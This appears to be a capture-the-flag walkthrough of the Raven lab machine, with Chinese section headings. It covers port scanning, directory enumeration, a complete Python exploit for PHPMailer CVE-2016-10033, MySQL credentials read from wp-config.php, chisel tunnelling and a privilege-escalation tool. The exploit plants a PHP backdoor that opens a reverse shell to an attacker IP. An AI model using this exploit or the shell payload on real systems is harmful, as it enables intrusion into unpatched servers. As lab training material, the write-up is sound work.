信息收集

$ nmap -p- 192.168.101.160 --min-rate 1000 -sC -sV

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
|   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
|   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|   256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_  256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Raven Security
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          46606/tcp   status
|   100024  1          54025/udp6  status
|   100024  1          57324/udp   status
|_  100024  1          60412/tcp6  status
46606/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

# echo '192.168.101.160 raven.local'>>/etc/hosts

usernames:steven,michael

$ gobuster dir -u "http://192.168.101.160/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x .php

http://raven.local/vendor/PATH

Flag 1

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

本地权限

http://raven.local/vendor/VERSION

5.2.16

import os
import sys
import requests
from requests_toolbelt import MultipartEncoder
import signal
import threading
import time
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Spinner:
    busy = False
    delay = 0.1

    @staticmethod
    def spinning_cursor():
        while 1:
            for cursor in '|/-\\': yield cursor

    def __init__(self):
        self.spinner_generator = self.spinning_cursor()
        self.stop_running = threading.Event()

    def spinner_task(self):
        while not self.stop_running.is_set():
            sys.stdout.write(next(self.spinner_generator))
            sys.stdout.flush()
            time.sleep(self.delay)
            sys.stdout.write('\b')
            sys.stdout.flush()

    def start(self):
        self.busy = True
        threading.Thread(target=self.spinner_task).start()

    def stop(self):
        self.busy = False
        self.stop_running.set()
        time.sleep(self.delay)

def signal_handler(signal, frame):
    print("\n[!] Exiting...")
    sys.exit(0)

signal.signal(signal.SIGINT, signal_handler)

def clear_console():
    os.system('clear')

def print_banner():
    print("\n")
    print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
    print("██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
    print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")
    print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")
    print("██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")
    print("╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝")
    print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
    print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")

def main():
    if len(sys.argv) != 5:
        print("Usage: python exploit.py <target_url> <backdoor_name> <attacker_ip> <attacker_port>")
        sys.exit(1)

    target = sys.argv[1]
    backdoor = '/' + sys.argv[2]
    attacker_ip = sys.argv[3]
    attacker_port = sys.argv[4]

    payload = f"<?php system('python -c \"\"\"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'{attacker_ip}\',{attacker_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])\"\"'); ?>"
    fields = {
        'action': 'submit',
        'name': payload,
        'email': f'"anarcoder\\" -OQueueDirectory=/tmp -X/var/www/html{backdoor} server\" @protonmail.com',
        'message': 'Pwned'
    }

    m = MultipartEncoder(fields=fields, boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')
    headers = {
        'User-Agent': 'curl/7.47.0',
        'Content-Type': m.content_type
    }

    print('[+] Sending evil shell to target...')
    spinner = Spinner()
    spinner.start()

    try:
        response = requests.post(target, data=m.to_string(), headers=headers, verify=False)
    except requests.exceptions.RequestException as e:
        print(f"\n[!] Error: {e}")
        spinner.stop()
        sys.exit(1)

    spinner.stop()
    print('[+] Spawning evil shell... bOOOOM :D')
    try:
        response = requests.get(target + backdoor, headers=headers, verify=False)
        if response.status_code == 200:
            print(f'[+] Exploited {target}')
        else:
            print(f'[!] Failed to exploit {target}, status code: {response.status_code}')
    except requests.exceptions.RequestException as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    clear_console()
    print_banner()
    main()

$ python3 exploit.py http://192.168.101.160/contact.php reverse.php 192.168.101.128 10032

$ curl http://raven.local/reverse.php

$ python –c 'import pty;pty.spawn("/bin/bash")'

Flag 2

$ cat /var/www/flag2.txt

flag2{6a8ed560f0b5358ecf844108048eb337}

Flag 3

$ find ./ -name flag3*

http://192.168.101.160/wordpress/wp-content/uploads/2018/11/flag3.png

flag3{a0f568aa9de277887f37730d71520d9b}

权限提升 : MSQP

$ cat /var/www/html/wordpress/wp-config.php

username:root
password:R@v3nSecurity

(Kali)$ ./chisel server -p 8000 --reverse

(Target)$ ./chisel client 192.168.101.128:8000 R:3306:localhost:3306&

$ git clone https://github.com/MartinxMax/MSQP.git

$ python3 -m pip install mysql-connector-python

$ python3 msqp.py 127.0.0.1 3306 root R@v3nSecurity 192.168.101.128 10033

Flag 4

# cat /root/flag4.txt

flag4{df2bc5e951d91581467bb9a2a8ff4425}

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